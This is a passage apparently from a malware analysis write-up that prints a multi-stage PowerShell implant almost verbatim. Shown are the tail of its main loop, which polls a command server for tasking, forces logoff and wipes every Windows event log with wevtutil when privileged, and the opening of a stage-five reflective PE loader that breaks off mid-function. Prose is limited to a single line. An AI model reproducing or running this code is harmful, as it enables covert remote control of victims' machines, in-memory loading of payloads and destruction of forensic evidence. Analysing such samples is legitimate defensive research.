        get-contentlogs 7 $agent['klver'] WindowsDefender
        $agent['klcount'] += 1
        }
   }

if($(ls $agent['paths'])){
  if ($agent['job']['UpdateSecID']) {
    $outout = Stop-AgentJob 'UpdateSecID'
    debugingerror $outout 5
    Post-file 5 red UpdateSecID;
    }
  else{
    Post-file 5 gery UpdateSecID
  }
}
else {
if ($agent['job']['UpdateSecID']) {Stop-AgentJob 'UpdateSecID'}
}

 if($agent['mischec'] -gt 460){iex logoff}
 $cmd = Get-Cmd;

 if ($cmd){
      $agent['INTERVAL'] = $(@(110,90,134)|Get-Random);
      ProcTasking $cmd
      }
 else{
        if ($agent['module']){get-moduledef}
        if ($Error){debugingerror $(@($Error)) 9}
        $Error.Clear()
        [GC]::Collect()
        [GC]::WaitForPendingFinalizers()
        sleep -s $agent['INTERVAL']
        $agent['INTERVAL'] = $(@(420,513,345)|Get-Random)
        if($agent['priv']){TRunpil $('wevtutil el | % {wevtutil cl `"$_`"}')}
      }
    } while ($true)
    $mtx.ReleaseMutex()
    $mtx.Dispose()
  }
}

On line 373, it downloads and execute the stage 5 code.

Stage five (function get-fgrablogs)

This is the PowerShell code on the fifth stage:


function get-fgruvers
{
[CmdletBinding()]
Param(
[Parameter(Position = 0)]
[String[]]
$ComputerName,
    [Parameter(Position = 1, Mandatory = $false)]
    [String]
    $fpath,
    [Parameter(Position = 2, Mandatory = $true)]
    [String]
    $idsid,
    [Parameter(Position = 3, Mandatory = $true)]
    [String]
    $versid,
    [Parameter(Position = 4, Mandatory = $true)]
    [String]
    $rckey
)
Set-StrictMode -Version 2
$RemoteScriptBlock = {
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$PEBytes64,
        [Parameter(Position = 1, Mandatory = $true)]
[String]
$PEBytes32,
[Parameter(Position = 2, Mandatory = $false)]
[String]
$FuncReturnType,
[Parameter(Position = 3, Mandatory = $false)]
[Int32]
$ProcId,
[Parameter(Position = 4, Mandatory = $false)]
[String]
$ProcName,
        [Parameter(Position = 5, Mandatory = $false)]
        [String]
        $ExeArgs
)
Function Get-Win32Types
{
$Win32Types = New-Object System.Object
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
$MachineType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
$MagicType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
$SubSystemType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
$DllCharacteristicsType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
$e_resField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
$e_res2Field.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
$nameField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LUID = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
return $Win32Types
}
Function Get-Win32Constants
{
$Win32Constants = New-Object System.Object
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
